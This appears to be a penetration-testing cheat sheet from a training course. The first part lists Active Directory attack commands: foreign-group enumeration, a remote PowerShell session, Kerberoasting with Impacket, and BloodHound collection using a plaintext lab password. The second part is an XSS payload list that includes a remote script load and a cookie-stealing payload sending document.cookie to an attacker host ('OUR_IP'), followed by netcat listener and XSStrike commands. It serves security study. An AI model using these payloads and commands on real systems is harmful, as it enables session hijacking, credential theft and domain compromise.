`Get-DomainForeignGroupMember -Domain FREIGHTLOGISTICS.LOCAL`	PowerView tool used to enumerate groups with users that do not belong to the domain from a Windows-based host.
`Enter-PSSession -ComputerName ACADEMY-EA-DC03.FREIGHTLOGISTICS.LOCAL -Credential INLANEFREIGHT\administrator`	PowerShell cmd-let used to remotely connect to a target Windows system from a Windows-based host.
`GetUserSPNs.py -request -target-domain FREIGHTLOGISTICS.LOCAL INLANEFREIGHT.LOCAL/wley`	Impacket tool used to request (`-request`) the TGS ticket of an account in a target Windows domain (`-target-domain`) from a Linux-based host.
`bloodhound-python -d INLANEFREIGHT.LOCAL -dc ACADEMY-EA-DC01 -c All -u forend -p Klmcargo2`	Runs the Python implementation of `BloodHound` against a target Windows domain from a Linux-based host.
`zip -r ilfreight_bh.zip *.json`	Used to compress multiple files into 1 single `.zip` file to be uploaded into the BloodHound GUI.

XSS

Code	Description
XSS Payloads
`<script>alert(window.origin)</script>`	Basic XSS Payload
`<plaintext>`	Basic XSS Payload
`<script>print()</script>`	Basic XSS Payload
`<img src="" onerror=alert(window.origin)>`	HTML-based XSS Payload
`<script>document.body.style.background = "#141d2b"</script>`	Change Background Color
`<script>document.body.background = "https://www.hackthebox.eu/images/logo-htb.svg"</script>`	Change Background Image
`<script>document.title = 'HackTheBox Academy'</script>`	Change Website Title
`<script>document.getElementsByTagName('body')[0].innerHTML = 'text'</script>`	Overwrite website's main body
`<script>document.getElementById('urlform').remove();</script>`	Remove certain HTML element
`<script src="http://OUR_IP/script.js"></script>`	Load remote script
`<script>new Image().src='http://OUR_IP/index.php?c='+document.cookie</script>`	Send Cookie details to us
Commands
`python xsstrike.py -u "http://SERVER_IP:PORT/index.php?task=test"`	Run `xsstrike` on a url parameter
`sudo nc -lvnp 80`	Start `netcat` listener
`sudo php -S 0.0.0.0:80`	Start `PHP` server

Last update: 2024-11-17
Created: September 7, 2024 19:13:36